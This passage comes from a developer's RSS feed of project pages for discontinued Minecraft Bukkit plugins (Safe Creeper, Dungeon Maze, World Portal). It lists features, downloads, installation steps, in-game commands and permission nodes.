&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;safecreeper.bypass.WaterControl.CanPlaceWater&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Bypass permission to place water&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;safecreeper.bypass.LavaControl.CanPlaceLava&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Bypass permission to place lava&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;safecreeper.bypass.TNTControl.CanPlaceTNT&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Bypass permission to place TNT&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;safecreeper.bypass.TNTControl.CanBreakTNT&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Bypass permission to break TNT&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;safecreeper.bypass.PlayerControl.CanSleep&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Bypass permission to sleep&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;source-code&quot;&gt;Source code&lt;&#x2F;h2&gt;
&lt;p&gt;Because I like programming and I want to share my code so other developers could
fix an issue directly if they found a problem for example, I share the source
code of my project. It&#x27;s available on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;safe-creeper&quot;&gt;GitHub&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;changelog&quot;&gt;Changelog&lt;&#x2F;h2&gt;
&lt;p&gt;Version 1.5.2.5 (12-11-2013)&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Removed unused downloader.&lt;&#x2F;li&gt;
&lt;li&gt;Build against &lt;code&gt;Bukkit-1.6.4-R2.0&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.timvisee.com&#x2F;projects&#x2F;bukkit&#x2F;safe-creeper&#x2F;changelog&quot;&gt;View all the changes here&lt;&#x2F;a&gt; &lt;em&gt;(old website)&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;donate&quot;&gt;Donate&lt;&#x2F;h2&gt;
&lt;p&gt;Please donate some money so I can buy some coffee to make better plugins and
host the website, I would really like it if you give an donation and I probably
put you on the sponsor list :-)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;donate&#x2F;&quot;&gt;Donate&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;comment&quot;&gt;Comment&lt;&#x2F;h2&gt;
&lt;p&gt;Please comment and ask on the official Bukkit forums, if you have a question
you can also contact me; Safe Creeper page on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dev.bukkit.org&#x2F;server-mods&#x2F;safe-creeper&#x2F;&quot;&gt;dev.bukkit.org&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
</description>
            </item>
        
            <item>
                <title>Dungeon Maze</title>
                <pubDate>Wed, 21 Nov 2012 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/projects/bukkit/dungeon-maze/</link>
                <guid>https://timvisee.com/projects/bukkit/dungeon-maze/</guid>
                <description>&lt;p&gt;&lt;em&gt;Source code: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;dungeon-maze&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;br &#x2F;&gt;
&lt;em&gt;Current version: v0.1.5.2&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Note: this project is discontinued, and will likely no longer receive support
or updates.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Dungeon Maze is a world generator for Minecraft, it&#x27;s a CraftBukkit plugin.
Dungeon Maze generates an infinite world with a lot of cool and strange stuff in
it. The world contains 7 layers of epicness, each layer does have different
content. All the layers contains a lot of Monsters, but also a lot of treasures.
It&#x27;s a very cool map to explore with some friends. Give it a try! Will you
survive?  Check out the announcement trailer bellow!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;announcement-trailer&quot;&gt;Announcement trailer&lt;&#x2F;h2&gt;
&lt;p&gt;Finally, after 1 year of work Dungeon Maze is going to be released for the first
time:&lt;&#x2F;p&gt;
&lt;div &gt;
    &lt;iframe src=&quot;https:&#x2F;&#x2F;www.youtube-nocookie.com&#x2F;embed&#x2F;t5dPptMDnSg&quot; webkitallowfullscreen mozallowfullscreen allowfullscreen&gt;&lt;&#x2F;iframe&gt;
&lt;&#x2F;div&gt;
&lt;h2 id=&quot;features&quot;&gt;Features&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Dungeon Maze generates an infinite world of epicness!&lt;&#x2F;li&gt;
&lt;li&gt;Each world contains 7 layers, each layer may contain different strucures.&lt;&#x2F;li&gt;
&lt;li&gt;Dungeon Maze contains a lot of Monster Spawners, so it contains a lot of mobs&lt;&#x2F;li&gt;
&lt;li&gt;The Dungeon Maze plugin does have some commands to easily generate a new Dungeon Maze world.&lt;&#x2F;li&gt;
&lt;li&gt;And a lot more...&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;download&quot;&gt;Download&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.timvisee.com&#x2F;download&#x2F;91&quot;&gt;Dungeon Maze v0.1.5.2&lt;&#x2F;a&gt; &lt;em&gt;(dropbox.com, direct link)&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.timvisee.com&#x2F;download&#x2F;92&quot;&gt;Dungeon Maze v0.1.5.2&lt;&#x2F;a&gt; &lt;em&gt;(mediafire.com, direct link)&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.timvisee.com&#x2F;projects&#x2F;bukkit&#x2F;dungeon-maze&#x2F;downloads&quot;&gt;Older downloads&lt;&#x2F;a&gt; &lt;em&gt;(on old website)&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;installation&quot;&gt;Installation&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;Download the plugin&lt;&#x2F;li&gt;
&lt;li&gt;Add the &lt;code&gt;DungeonMaze.jar&lt;&#x2F;code&gt; file AND the folder &lt;code&gt;DungeonMaze&lt;&#x2F;code&gt; from the
downloaded &lt;code&gt;.zip&lt;&#x2F;code&gt; file to the &lt;code&gt;..&#x2F;plugins&lt;&#x2F;code&gt; folder of the Minecraft server.
Also add the files inside the DungeonMaze folder into the folder
&lt;code&gt;..&#x2F;plugins&#x2F;DungeonMaze&#x27;&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;Start your server and enjoy the plugin :)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;commands&quot;&gt;Commands&lt;&#x2F;h2&gt;
&lt;p&gt;Dungeon Maze commands can be invoked by typing &lt;code&gt;&#x2F;dungeonmaze&lt;&#x2F;code&gt; or &lt;code&gt;&#x2F;dm&lt;&#x2F;code&gt; in the
in-game chat, or in the server console.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;Command&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;Action&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;dm help&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;View Dungeon Maze help&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;dm createworld &amp;lt;name&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Generate a new Dungeon Maze world&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;dm teleport &amp;lt;name&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Teleport to one of the Dungeon Maze worlds&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;dm listworlds&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;List all Dungeon Maze worlds&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;dm reload&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Reload the Dungeon Maze plugin&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;dm reloadperms&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Reload the permissions system inside Dungeon Maze&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;dm checkupdates&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Check for new updates&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;dm version&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;View the current version number&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;permissions&quot;&gt;Permissions&lt;&#x2F;h2&gt;
&lt;p&gt;Dungeon Maze supports permissions all major permissions systems.  Bellow you
could find all the permission nodes.  If you don&#x27;t have an permissions system
installed, all the commands are only permitted to OP&#x27;s.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;Permission node&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;Action&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;dungeonmaze.command.createworld&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Permission to the createworld command&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;dungeonmaze.command.teleport&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Permission to the teleport command&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;dungeonmaze.command.listworlds&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Permission to the listworlds command&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;dungeonmaze.command.reload&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Permission to the reload command&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;dungeonmaze.command.reloadperms&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Permission to the reloadperms command&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;dungeonmaze.command.checkupdates&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Permission to the checkupdates command&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;dungeonmaze.bypass.surface&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Bypass the surface blocker&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;dungeonmaze.bypass.build&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Bypass permission of the world protection&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;tutorials&quot;&gt;Tutorials&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;How to create your first Dungeon Maze world: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;dev.bukkit.org&#x2F;server-mods&#x2F;dungeon-maze&#x2F;pages&#x2F;how-to-create-your-first-dungeon-maze-world&#x2F;&quot;&gt;How to create your first Dungeon Maze world &lt;em&gt;(on dev.bukkit.org)&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;How to use Dungeon Maze with Multiverse: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;dev.bukkit.org&#x2F;server-mods&#x2F;dungeon-maze&#x2F;pages&#x2F;how-to-use-dungeon-maze-with-multiverse&#x2F;&quot;&gt;How to use Dungeon Maze with Multiverse &lt;em&gt;(on dev.bukkit.org)&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;source-code&quot;&gt;Source code&lt;&#x2F;h2&gt;
&lt;p&gt;Because I like programming and I want to share my code so other developers could
fix an issue directly if they found a problem for example, I share the source
code of my project. It&#x27;s available on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;dungeon-maze&quot;&gt;GitHub&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;changelog&quot;&gt;Changelog&lt;&#x2F;h2&gt;
&lt;p&gt;Version 0.1.5.2 Alpha (21-11-2012):&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Added the event system into the Dungeon Maze API. Dungeon Maze does now have
events in the API system, you could find more information about it on the API
page. (for developers)&lt;&#x2F;li&gt;
&lt;li&gt;Added the &lt;code&gt;DMGenerationChest&lt;&#x2F;code&gt; event, wich is called when a chest is generated.
With this event chest contents can be set, it can be cancelled etc.
(for developers)&lt;&#x2F;li&gt;
&lt;li&gt;Little bug fixes&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.timvisee.com&#x2F;projects&#x2F;bukkit&#x2F;dungeon-maze&#x2F;changelog&quot;&gt;View all the changes here&lt;&#x2F;a&gt; &lt;em&gt;(old website)&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;donate&quot;&gt;Donate&lt;&#x2F;h2&gt;
&lt;p&gt;Please donate some money so I can buy some coffee to make better plugins and
host the website, I would really like it if you give an donation and I probably
put you on the sponsor list :-)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;donate&#x2F;&quot;&gt;Donate&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;comment&quot;&gt;Comment&lt;&#x2F;h2&gt;
&lt;p&gt;Please comment and ask on the official Bukkit forums, if you have a question
you can also contact me; Dungeon Maze page on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dev.bukkit.org&#x2F;server-mods&#x2F;dungeon-maze&#x2F;&quot;&gt;dev.bukkit.org&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
</description>
            </item>
        
            <item>
                <title>World Portal</title>
                <pubDate>Mon, 03 Sep 2012 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/projects/bukkit/world-portal/</link>
                <guid>https://timvisee.com/projects/bukkit/world-portal/</guid>
                <description>&lt;p&gt;&lt;em&gt;Source code: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;world-portal&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;br &#x2F;&gt;
&lt;em&gt;Current version: v0.7.1&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Note: this project is discontinued, and will likely no longer receive support
or updates.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;World Portal is a really useful and simple to use plugin to make portals in your
server. Players could use the portals to teleport to another location or even to
another world. This is also really useful when you have a large server so
players could go to other places them self really easy. With World Portal you
could even generate and teleport to other worlds, very smootly with no problems.
You could make portals using, buttons, pressure plates, switches and even more.
World Portal is the ultimate solution for portals, and even for multi world
mangement.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;videos&quot;&gt;Videos&lt;&#x2F;h2&gt;
&lt;div &gt;
    &lt;iframe src=&quot;https:&#x2F;&#x2F;www.youtube-nocookie.com&#x2F;embed&#x2F;6h913qLm5SY&quot; webkitallowfullscreen mozallowfullscreen allowfullscreen&gt;&lt;&#x2F;iframe&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;&lt;em&gt;This video was made by gotgot1995. Please notice that this is an out-dated
version of world portal but works almost the same as shown in the video.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;div &gt;
    &lt;iframe src=&quot;https:&#x2F;&#x2F;www.youtube-nocookie.com&#x2F;embed&#x2F;jH7hdRkGric&quot; webkitallowfullscreen mozallowfullscreen allowfullscreen&gt;&lt;&#x2F;iframe&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;&lt;em&gt;The video above was made by ThermalM16 which gives a great example of World Portal usage.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;div &gt;
    &lt;iframe src=&quot;https:&#x2F;&#x2F;www.youtube-nocookie.com&#x2F;embed&#x2F;Kr90_482NuQ&quot; webkitallowfullscreen mozallowfullscreen allowfullscreen&gt;&lt;&#x2F;iframe&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;&lt;em&gt;This video was made by VerioHD.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;features&quot;&gt;Features&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Teleport to other locations and world with signs, pressure plates, buttons
and more&lt;&#x2F;li&gt;
&lt;li&gt;Easily create portals using a single command&lt;&#x2F;li&gt;
&lt;li&gt;Generate new worlds&lt;&#x2F;li&gt;
&lt;li&gt;Portal break protection&lt;&#x2F;li&gt;
&lt;li&gt;Forces chunks to load when a player teleports to it&lt;&#x2F;li&gt;
&lt;li&gt;Multiworld support&lt;&#x2F;li&gt;
&lt;li&gt;Permissions Support&lt;&#x2F;li&gt;
&lt;li&gt;And even a lot more!&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;upcoming-features&quot;&gt;Upcoming Features&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Mark a place and give it a name so you could easily link portals to it.&lt;&#x2F;li&gt;
&lt;li&gt;Payment system for the portals so the user needs to pay to go through the
portal (optional for every portal!)&lt;&#x2F;li&gt;
&lt;li&gt;Easily link two portals to each other&lt;&#x2F;li&gt;
&lt;li&gt;Add a optional delay to the portals to teleport after 3 seconds for example.&lt;&#x2F;li&gt;
&lt;li&gt;Command to create a new world.&lt;&#x2F;li&gt;
&lt;li&gt;Create portals of detector rails, so players could be teleported when they are
riding in a minecart on a track.&lt;&#x2F;li&gt;
&lt;li&gt;The optional ability to show a message in the world where the player was
teleported to that that player has joined that world.&lt;&#x2F;li&gt;
&lt;li&gt;The optional option that mobs could teleport through portals (using pressure
plates for example)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;download&quot;&gt;Download&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.timvisee.com&#x2F;download&#x2F;69&quot;&gt;World Portal v0.7.1&lt;&#x2F;a&gt; &lt;em&gt;(dropbox.com, direct link)&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.timvisee.com&#x2F;download&#x2F;70&quot;&gt;World Portal v0.7.1&lt;&#x2F;a&gt; &lt;em&gt;(mediafire.com, direct link)&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.timvisee.com&#x2F;projects&#x2F;bukkit&#x2F;world-portal&#x2F;downloads&quot;&gt;Older downloads&lt;&#x2F;a&gt; &lt;em&gt;(on old website)&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;installation&quot;&gt;Installation&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;Download the plugin&lt;&#x2F;li&gt;
&lt;li&gt;Add the &lt;code&gt;WorldPortal.jar&lt;&#x2F;code&gt; file and the folder &lt;code&gt;World Portal&lt;&#x2F;code&gt; from the
downloaded &lt;code&gt;.zip&lt;&#x2F;code&gt; file to the &lt;code&gt;&#x2F;plugin&lt;&#x2F;code&gt; folder of the Minecraft server.
Also add the files inside the World Portal folder to the
&lt;code&gt;plugins&#x2F;World Portal&lt;&#x2F;code&gt; folder.&lt;&#x2F;li&gt;
&lt;li&gt;Add the permission lines if you have a permissions system;
(Look at the permissions paragraph blow)&lt;&#x2F;li&gt;
&lt;li&gt;Start your server, and create your portals!&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;commands&quot;&gt;Commands&lt;&#x2F;h2&gt;
&lt;p&gt;World Portal commands can be invoked by typing &lt;code&gt;&#x2F;worldportal&lt;&#x2F;code&gt; or &lt;code&gt;&#x2F;wp&lt;&#x2F;code&gt; in the
in-game chat.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;Command&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;Action&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;wp create&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Create a World Portal&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;wp createstop&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Disable creation mode&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;wp remove&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Remove World Portals&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;wp removestop&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Disable remove mode&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;wp tp &amp;lt;world&amp;gt; [x] [y] [z]&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Teleport to another location&#x2F;world&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;wp info&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Get your status&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;wp save&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Save all World Portals&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;wp reload&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Reload the plugin&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;wp verion&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Get plugin info&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;permissions&quot;&gt;Permissions&lt;&#x2F;h2&gt;
&lt;p&gt;Portal Portal supports the following permissions:&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;Permission node&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;Action&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;Default&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;worldportal.use&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Teleport through World Portals&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;All&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;worldportal.create&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Create World Portals&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;OPs&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;worldportal.remove&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Remove World Portals&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;OPs&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;worldportal.teleport&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Teleport commands&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;OPs&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
